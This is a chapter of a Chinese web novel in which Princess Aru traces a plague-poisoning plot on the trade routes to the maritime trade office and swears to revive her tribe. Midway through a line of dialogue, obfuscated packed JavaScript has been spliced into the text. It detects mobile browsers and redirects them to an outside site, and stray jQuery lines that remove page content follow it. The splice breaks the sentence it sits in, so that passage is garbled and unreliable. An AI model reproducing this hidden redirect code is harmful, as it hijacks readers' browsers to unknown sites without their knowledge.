110.鱼与熊掌岂可兼得? 她既不仁我便不义!

作品:《踏沙行

    陆松鸣直接绕道回了肃州,阿如将一路染疫情况说了,又说各州都已基本控制住,只苦恼找不出投毒的人。


    陆松鸣在商路上比阿如有办法,带了阿如七拐八拐来到城里一处香料铺子,径直往院子里进。


    院门从里头闩着,陆松鸣敲了五下,隔半晌又敲五下,紧接着院门打开,露出一张熟悉的脸。


    “昂格?”阿如进门,惊讶地问,“怎么是你?”


    昂格行了踏沙部的礼,恭恭敬敬道:“殿下不知,肃州一带商路属小人职责。凡过往商队、使团、僧侣、暴力闯关或无过所者,都逃不过小人的眼睛。”


    阿如不由称赞:“真的?若有这样的本事,不枉我舅舅如此信任你!”


    昂格被夸的不好意思,耳朵迅速红了,低着头说:“小人不敢枉言。”


    陆松鸣全程温和的笑,可见昂格的本事不算吹嘘。


    阿如便将那妇人所说商队装束说了,昂格听到白巾包住头脸那里已经倒吸了一口气,惊愕看向陆松鸣。


    “怎么了?”阿如觉出他两个的异样,停下来问,“哪里不对吗?”


    昂格见陆松鸣没有说话的意思,只好开口:“商路上以白巾遮住头脸的,只有,只有咱们的人。可是殿下,近日咱们的人都在各自商会,并没有出动……”


    陆松鸣从带队去京都见燕竞始就一直在阿如眼前,底下的人阿如虽管不着,但看昂格一副被人冤枉的气愤神情,这事大概不是陆松鸣使人干的。


    而且他也没这么做的动机,商路不稳,牵利人必然趁机攫取利益,于他于自己都没有好处。


    阿如点头,示意自己知道了,看向陆松鸣:“舅舅已经有怀疑的人了吧?”


    陆松鸣沉默一瞬,有些关节还是没想通:“如果是布哈拉,他的目的是什么?他的商队规模虽比不上咱们,但商路一毁,对谁都没有好处。要知道,他安身立命的资本只有这条路。”


    阿如适时提醒:“若是他目的就是毁了商路,那得益的会是谁?”


    是市舶司!


    两人几乎同时明白过来,尤其阿如,知道贺徎与市舶司关系密切,若是他动的手脚,竟是丝毫不顾身在甘州的亲弟弟贺征的生死了!


    但不管幕后真凶是不是市舶司,眼下扼住传染源是当务之急,陆松鸣掏出一块牌子递给昂格,沉声吩咐:“传我的令,沿路布下天罗地网,务必活捉这些人。”


    昂格躬身领命,行礼出去了。陆松鸣这才将阿如领到小院里头另一间房前,恭谨行了一礼:“殿下,这里,是俟斤的……”


    接着满眼难过说不下去,阿如心上预感到什么,稳稳心神,推门进去。


    果然,里头学汉人设了香案牌位、各色供果、蒲团钵磬,最前头的写着先考穆讳逊之灵位,稍后些的写着先妣许讳菁芜之灵位,下头的落款皆是穆含裳。


    “是我母亲让您设的吗?”阿如这是第一次看见与自己血缘相关之人的牌位,说不上难过,更多的反而是压力,“咱们草原上的人,也信汉人这一套?”


    陆松鸣燃香、下跪,恭恭敬敬跪拜过,才回答道:“公主说回不去草原,总不能让俟斤与夫人漂泊无依。就叫我按汉人的习惯供奉,可惜她竟没机会前来祭拜。”


    这是在点她!


    阿如立刻明白了他的意图,深深叹了口气,就在穆逊的排位前双膝跪下,郑重其事道:“外祖父外祖母在上,孙儿九如在此立誓,生平所愿唯有一个,就是重振踏沙部。甘愿为此赴汤蹈火,决不为情爱所累!若违此誓,不得好死!”


    这样重的誓言,陆松鸣拦都来不及拦,惶恐之余连忙跪倒,泫然欲泣:“殿下,您要是恨就打我骂我一顿,别憋在心里……咱们如今走到这个地步,是真的没有回头路……”


    有没有回头路阿如怎么会不知道?


    只是母亲吃了情爱的大亏,将一生都葬送在异国他乡,陆松鸣怕的是自己也重蹈覆辙。


    且那日与樊缨的亲密他也亲眼目睹,生出恐惧来理所应当。


    将陆松鸣扶起来,阿如强自挤出一个笑,安慰他道:“您说什么呢?您做的一切都是为了踏沙部、为了我好我怎么可能不知道?我与樊缨只是相互利用罢了,您知道的,他们沙陀一族骁勇善战,最是好用。”


    嘴上说着安慰的话,眼中却是化不开的愤怒:明明她已经自省过坚定了心志,为什么陆松鸣还是不信呢?


    陆松鸣看着心疼,忍不住哽咽:“殿下,您当真要走这条路吗?如果……”


    “没有如果!”阿如猛一抬头,眸中忧郁尽散,剩下的只有倔强,“踏上漠北的那一天我就没有回头路了,我爱权势,爱这自由。我不是被你们逼上这条路的,是我自己选的。只是我以为鱼与熊掌可以兼得,既然不能,舍弃哪个我清楚得很!”


    说完就走,不给陆松鸣看到泪水滴下来的机会。


    陆松鸣收拾好门锁追出来时阿如已经打马走远了,远处与天幕相接处是巍峨祁连山,山下旷野中只有阿如疾驰的背影,那样孤独又那样倔强。


    一如她选择的路。


    陆松鸣没有去打扰,阿如在祁连山下跑够了、跑累了才回来。


    黄裕情况好多了,能坐起来处理简单的事务,外头的事还是山柳在调停。阿如简单问了下情况,进去找黄裕。


    “您躺着吧,”黄裕要起来行礼,阿如拦了一把,攀谈道,“您这位长史看着不涉红尘,办事倒利落。”


    黄裕显然很认可这句话,频频点头:“公主说的没错,山柳也是读过书的人,若不是屡试不中无奈之下投了道门,为官也绝不逊色于我。”


    阿如轻笑:“也是个奇人。不过,您已经为官多年,他就没想过行卷这条路?”


    黄裕也觉得可惜,叹气道:“他性子是有些执拗,莫说行卷,我多番请他为幕僚他都不为所动。去年我处理政事颇有些


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15016663|158003||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    力不从心,再邀他时,他竟应了。我心下感激,约好等我致仕便在他观外寻处庄子,闲暇时一起喝酒论道。”


    听着真是桩美事,阿如不由笑出声来:“常说知己难得,得之人生之幸,恐怕就是您与山柳先生这样了。”


    黄裕也满脸期待地笑,只是两人都没看见角落里黄裕夫人脸上的不安。


    昂格那边很快有了消息,在瓜州往北豹文山下发现一队行迹可疑的人。阿如一听就要赶往豹文山询问究竟,陆松鸣拉住她缰绳,摇头道:“发现的时候已经都死了,一剑封喉干净利落,没留下一个活口。”


    “死无对证?”


    阿如越想越觉得这事奇怪,如果投毒是为了让商路陷入瘫痪,那布哈拉的目的已经达到了,杀人又是为什么呢?


    如果是为掩饰这件事真正的幕后凶手,那他直接推布哈拉出来顶锅不就行了?


    如今就算是怀疑谁也没有证据,最终的结果就是与布哈拉从此交恶,牵利人永远失去商路。


    这样的蠢事布哈拉不可能做!


    那只有一种可能,这件事与布哈拉没有关系,是有人借此挑起自己与牵利人的矛盾。


    这个人究竟是谁?


    阿如是怀疑过陆松鸣的,毕竟那些人的装束与陆松鸣的商队一样。但商路上陆松鸣与牵利人并不是完全的敌对关系,甚至可以说是合作关系。牵利人的城邦在葱岭以西,他们与更西边的白衣大食、拂菻国都有贸易往来;而大周的商队走的多是西域诸国,最远翻过葱岭。那些珍奇宝石、玻璃经书都要靠牵利人往东运到西域或者沙州,再由大周的商队运回中原。


    往西走的丝绸瓷器也一样,这是一种接力与合作,能够最大程度节省人力物力。而那些在中原的胡商,要么已经置业不再行脚,要么就是想定居在此,布哈拉那样的野心家毕竟少数。


    若此事后阿如将布哈拉赶出商路,那这种东西之间的商贸接力就会中断,陆松鸣也是受害者。


    自始至终只有一个人得利。


    就是市舶司,贺徎。


    贺徎的船队能从交州出发一路往西直达拂菻国,且船舱容量几十倍于骆驼人力驮着的陆上商路,只要斩断陆上商路,那他就是东西贸易唯一的纽带了。


    不愧是商人,打得一手好算盘。


    只是他用这样下流的手段,若是贺老家主知道了,会怎么样呢?


    “先消灭时疫要紧,”阿如想通此中关窍,对陆松鸣说,“看来您得去一趟京都了。贺老家主毕竟年纪大了,又叫贺征鼎力支持我,不知会一声怕是不妥。”


    陆松鸣应声:“恐怕不是贺徎一个人的意思,市舶司牵扯的人多而杂,就算贺老家主出来主事也动不了他们。”


    意思就是朝廷也参与其中,默许这件事。


    阿如听明白了,气得冷笑一声:“也是好事,她不仁别怪我不义,这样便不必顾念情义,放手做咱们想做的事!”